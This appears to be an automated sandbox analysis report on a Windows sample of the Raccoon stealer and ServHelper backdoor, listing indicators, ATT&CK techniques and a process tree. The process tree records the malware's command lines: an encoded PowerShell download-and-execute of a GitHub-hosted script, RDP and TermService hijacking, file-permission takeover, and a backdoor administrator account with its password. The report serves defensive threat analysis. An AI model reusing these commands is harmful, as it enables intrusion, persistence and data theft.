raccoon | 2487b8cf4cd64c80b809762afda3a559738797c225ce5ab7961f4bfcee2a0ba2

Analysis

max time kernel
138s
max time network
129s
platform
windows7_x64
resource
win7v20210410
submitted
04-07-2021 01:06

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General

Target

Start.bin.exe
Size

472KB
MD5

14a480e8136dcbfc14e672544b33be76
SHA1

fba00115c76fd3b09fd78d1b49c45d6429ca61f1
SHA256

aef92dab31f523e018f6f40e12e0c573dce91f70f5bfed134565bdb764ce8459
SHA512

b5091cfe3b3881ca2a7de88aa0ba381cc07387c3cc5d623d1ac491723da15f66b922e23d2a4c379a07114ff1480e2773e9356abca137cafa8ed5cff5ff2113a4

Score

10^/10

raccoon servhelper backdoor discovery exploit persistence spyware stealer trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 1 IoCs

flow	pid	Process
16	536	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
796	6dlEX2wvVW.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
740	icacls.exe
1624	icacls.exe
1680	icacls.exe
904	icacls.exe
1676	takeown.exe
1736	icacls.exe
1264	icacls.exe
516	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00060000000130fd-195.dat	upx
behavioral1/files/0x00060000000130fe-196.dat	upx

Deletes itself 1 IoCs

pid	Process
928	cmd.exe

Loads dropped DLL 11 IoCs

pid	Process
1644	Start.bin.exe
1644	Start.bin.exe
1644	Start.bin.exe
1644	Start.bin.exe
1644	Start.bin.exe
1644	Start.bin.exe
1644	Start.bin.exe
1644	Start.bin.exe
1644	Start.bin.exe
1736	Process not Found
1736	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
516	icacls.exe
740	icacls.exe
1624	icacls.exe
1680	icacls.exe
904	icacls.exe
1676	takeown.exe
1736	icacls.exe
1264	icacls.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 21 IoCs

description	ioc	Process
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\VDBHVUQ9BXWI21ENJF49.temp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_dbb6777a-301c-49bf-9c7e-cf4123ec2015	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_0f7a4894-2eb4-46e3-9519-128b680bf3db	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_cc045788-c197-4b46-9777-7d752a778b4e	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_c4ffbb6f-df08-4eea-8de0-0c67a6a1320e	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7436ccf6-99f6-4999-a874-0bb496f7b31b	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7d9eac19-75c1-4ffa-836a-19eab8098fc6	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_47db355e-7c03-43a1-9b48-8cff1ea232d2	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fc8b934a-b668-49c1-b656-9339460eb6ae	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_41c62515-9ca9-432d-b1d6-277ee6d54a05	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_53f4040d-e6a2-4998-afcd-f84ae930d5e1	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e964273c-fe14-4784-b699-034ecbb0c021	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
552	timeout.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = e0076a9f7170d701	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1496	reg.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	Start.bin.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	Start.bin.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
820	powershell.exe
820	powershell.exe
1588	powershell.exe
1588	powershell.exe
920	powershell.exe
920	powershell.exe
1712	powershell.exe
1712	powershell.exe
820	powershell.exe
820	powershell.exe
820	powershell.exe
536	powershell.exe
536	powershell.exe

Suspicious behavior: LoadsDriver 5 IoCs

pid	Process
464	Process not Found
1736	Process not Found
1736	Process not Found
1736	Process not Found
1736	Process not Found

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	820	powershell.exe
Token: SeDebugPrivilege	1588	powershell.exe
Token: SeDebugPrivilege	920	powershell.exe
Token: SeDebugPrivilege	1712	powershell.exe
Token: SeRestorePrivilege	1264	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1564	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1564	WMIC.exe
Token: SeAuditPrivilege	1564	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1564	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1564	WMIC.exe
Token: SeAuditPrivilege	1564	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2032	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2032	WMIC.exe
Token: SeAuditPrivilege	2032	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2032	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2032	WMIC.exe
Token: SeAuditPrivilege	2032	WMIC.exe
Token: SeDebugPrivilege	536	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1644 wrote to memory of 796	1644	Start.bin.exe	30
PID 1644 wrote to memory of 796	1644	Start.bin.exe	30
PID 1644 wrote to memory of 796	1644	Start.bin.exe	30
PID 1644 wrote to memory of 796	1644	Start.bin.exe	30
PID 1644 wrote to memory of 928	1644	Start.bin.exe	31
PID 1644 wrote to memory of 928	1644	Start.bin.exe	31
PID 1644 wrote to memory of 928	1644	Start.bin.exe	31
PID 1644 wrote to memory of 928	1644	Start.bin.exe	31
PID 928 wrote to memory of 552	928	cmd.exe	33
PID 928 wrote to memory of 552	928	cmd.exe	33
PID 928 wrote to memory of 552	928	cmd.exe	33
PID 928 wrote to memory of 552	928	cmd.exe	33
PID 796 wrote to memory of 820	796	6dlEX2wvVW.exe	34
PID 796 wrote to memory of 820	796	6dlEX2wvVW.exe	34
PID 796 wrote to memory of 820	796	6dlEX2wvVW.exe	34
PID 820 wrote to memory of 1872	820	powershell.exe	36
PID 820 wrote to memory of 1872	820	powershell.exe	36
PID 820 wrote to memory of 1872	820	powershell.exe	36
PID 1872 wrote to memory of 956	1872	csc.exe	37
PID 1872 wrote to memory of 956	1872	csc.exe	37
PID 1872 wrote to memory of 956	1872	csc.exe	37
PID 820 wrote to memory of 1588	820	powershell.exe	38
PID 820 wrote to memory of 1588	820	powershell.exe	38
PID 820 wrote to memory of 1588	820	powershell.exe	38
PID 820 wrote to memory of 920	820	powershell.exe	40
PID 820 wrote to memory of 920	820	powershell.exe	40
PID 820 wrote to memory of 920	820	powershell.exe	40
PID 820 wrote to memory of 1712	820	powershell.exe	42
PID 820 wrote to memory of 1712	820	powershell.exe	42
PID 820 wrote to memory of 1712	820	powershell.exe	42
PID 820 wrote to memory of 1676	820	powershell.exe	45
PID 820 wrote to memory of 1676	820	powershell.exe	45
PID 820 wrote to memory of 1676	820	powershell.exe	45
PID 820 wrote to memory of 1736	820	powershell.exe	46
PID 820 wrote to memory of 1736	820	powershell.exe	46
PID 820 wrote to memory of 1736	820	powershell.exe	46
PID 820 wrote to memory of 1264	820	powershell.exe	47
PID 820 wrote to memory of 1264	820	powershell.exe	47
PID 820 wrote to memory of 1264	820	powershell.exe	47
PID 820 wrote to memory of 516	820	powershell.exe	48
PID 820 wrote to memory of 516	820	powershell.exe	48
PID 820 wrote to memory of 516	820	powershell.exe	48
PID 820 wrote to memory of 740	820	powershell.exe	49
PID 820 wrote to memory of 740	820	powershell.exe	49
PID 820 wrote to memory of 740	820	powershell.exe	49
PID 820 wrote to memory of 1624	820	powershell.exe	50
PID 820 wrote to memory of 1624	820	powershell.exe	50
PID 820 wrote to memory of 1624	820	powershell.exe	50
PID 820 wrote to memory of 1680	820	powershell.exe	51
PID 820 wrote to memory of 1680	820	powershell.exe	51
PID 820 wrote to memory of 1680	820	powershell.exe	51
PID 820 wrote to memory of 904	820	powershell.exe	52
PID 820 wrote to memory of 904	820	powershell.exe	52
PID 820 wrote to memory of 904	820	powershell.exe	52
PID 820 wrote to memory of 1696	820	powershell.exe	53
PID 820 wrote to memory of 1696	820	powershell.exe	53
PID 820 wrote to memory of 1696	820	powershell.exe	53
PID 820 wrote to memory of 1496	820	powershell.exe	54
PID 820 wrote to memory of 1496	820	powershell.exe	54
PID 820 wrote to memory of 1496	820	powershell.exe	54
PID 820 wrote to memory of 1868	820	powershell.exe	55
PID 820 wrote to memory of 1868	820	powershell.exe	55
PID 820 wrote to memory of 1868	820	powershell.exe	55
PID 820 wrote to memory of 1136	820	powershell.exe	56

C:\Users\Admin\AppData\Local\Temp\Start.bin.exe
"C:\Users\Admin\AppData\Local\Temp\Start.bin.exe"
1⤵
- Loads dropped DLL
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:1644
- C:\Users\Admin\AppData\Local\Temp\6dlEX2wvVW.exe
  "C:\Users\Admin\AppData\Local\Temp\6dlEX2wvVW.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:796
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
    3⤵
    - Drops file in System32 directory
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:820
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\okk2zs0w\okk2zs0w.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1872
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF4C.tmp" "c:\Users\Admin\AppData\Local\Temp\okk2zs0w\CSC7A4F16637910470AACA4C462EB1113B6.TMP"
        5⤵
        
        PID:956
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1588
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:920
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1712
  - - C:\Windows\system32\takeown.exe
      "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1676
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1736
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:1264
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:516
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:740
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1624
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1680
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:904
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
      4⤵
      PID:1696
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
      4⤵
      Modifies registry key
      PID:1496
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
      4⤵
      PID:1868
  - - C:\Windows\system32\net.exe
      "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1136
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        5⤵
        
        PID:1936
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
      4⤵
      PID:624
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start rdpdr
        5⤵
        
        PID:1636
      - C:\Windows\system32\net.exe
        
        net start rdpdr
        6⤵
        
        PID:1656
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        7⤵
        
        PID:1192
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
      4⤵
      PID:1928
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start TermService
        5⤵
        
        PID:2024
      - C:\Windows\system32\net.exe
        
        net start TermService
        6⤵
        
        PID:1424
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        7⤵
        
        PID:1676
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
      4⤵
      PID:1344
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
      4⤵
      PID:1564
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\Start.bin.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:928
- - C:\Windows\SysWOW64\timeout.exe
    timeout /T 10 /NOBREAK
    3⤵
    - Delays execution with timeout.exe
    PID:552

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
PID:740
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  PID:1668
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:1608

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc BfTULk1Q /add
1⤵
PID:1932
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc BfTULk1Q /add
  2⤵
  PID:1588
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc BfTULk1Q /add
    3⤵
    PID:2020

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
PID:1136
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  PID:316
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:1636

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
1⤵
PID:1572
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
  2⤵
  PID:1680
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
    3⤵
    PID:1344

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:1624
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:1820
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:1868

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc BfTULk1Q
1⤵
PID:1496
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc BfTULk1Q
  2⤵
  PID:1392
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc BfTULk1Q
    3⤵
    PID:1656

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:1644
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1564

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1588
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2032

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1636
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1656
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:536

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/536-216-0x0000000019530000-0x0000000019532000-memory.dmp

Filesize
8KB

Download
memory/536-217-0x0000000019534000-0x0000000019536000-memory.dmp

Filesize
8KB

Download
memory/536-218-0x000000001953A000-0x0000000019559000-memory.dmp

Filesize
124KB

Download
memory/796-79-0x00000000281E6000-0x00000000281E7000-memory.dmp

Filesize
4KB

Download
memory/796-75-0x00000000411E0000-0x000000004148A000-memory.dmp

Filesize
2.7MB

Download
memory/796-78-0x00000000281E4000-0x00000000281E6000-memory.dmp

Filesize
8KB

Download
memory/796-77-0x00000000281E2000-0x00000000281E4000-memory.dmp

Filesize
8KB

Download
memory/796-80-0x00000000281E7000-0x00000000281E8000-memory.dmp

Filesize
4KB

Download
memory/820-85-0x000000001AC20000-0x000000001AC22000-memory.dmp

Filesize
8KB

Download
memory/820-172-0x000000001C570000-0x000000001C571000-memory.dmp

Filesize
4KB

Download
memory/820-86-0x000000001AC24000-0x000000001AC26000-memory.dmp

Filesize
8KB

Download
memory/820-117-0x000000001AC2A000-0x000000001AC49000-memory.dmp

Filesize
124KB

Download
memory/820-102-0x000000001ABC0000-0x000000001ABC1000-memory.dmp

Filesize
4KB

Download
memory/820-84-0x000000001ACA0000-0x000000001ACA1000-memory.dmp

Filesize
4KB

Download
memory/820-83-0x0000000001DC0000-0x0000000001DC1000-memory.dmp

Filesize
4KB

Download
memory/820-87-0x0000000002530000-0x0000000002531000-memory.dmp

Filesize
4KB

Download
memory/820-82-0x000007FEFBFF1000-0x000007FEFBFF3000-memory.dmp

Filesize
8KB

Download
memory/820-101-0x000000001C4E0000-0x000000001C4E1000-memory.dmp

Filesize
4KB

Download
memory/820-88-0x0000000002580000-0x0000000002581000-memory.dmp

Filesize
4KB

Download
memory/820-90-0x000000001C410000-0x000000001C411000-memory.dmp

Filesize
4KB

Download
memory/820-98-0x0000000002330000-0x0000000002331000-memory.dmp

Filesize
4KB

Download
memory/820-100-0x000000001AAA0000-0x000000001AAA1000-memory.dmp

Filesize
4KB

Download
